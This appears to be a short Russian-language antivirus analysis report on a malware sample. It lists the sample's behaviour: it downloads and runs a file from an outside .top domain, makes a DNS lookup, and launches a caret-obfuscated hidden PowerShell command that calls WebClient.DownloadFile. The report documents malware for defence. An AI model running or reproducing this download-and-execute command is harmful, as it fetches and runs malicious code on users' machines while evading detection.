Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^oW^ER^SHe^lL.exe -EXecU^T^i^o^NpO^Li^C^y bY^PaSS -Nop^Ro^Fi^L^E -Wi^n^dowstyL^e^ ^h^Id^d^E^N ^(nEw^-Ob^j^ecT sy^sT^Em^.^n^e^t.w^eBc^LI^e^Nt^).d^OWNloA^Df^ile^('http://www....
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^oW^ER^SHe^lL.exe -EXecU^T^i^o^NpO^Li^C^y bY^PaSS -Nop^Ro^Fi^L^E -Wi^n^dowstyL^e^ ^h^Id^d^E^N ^(nEw^-Ob^j^ecT sy^sT^Em^.^n^e^t.w^eBc^LI^e^Nt^).d^OWNloA^Df^ile^('http://www....' (со скрытым окном)
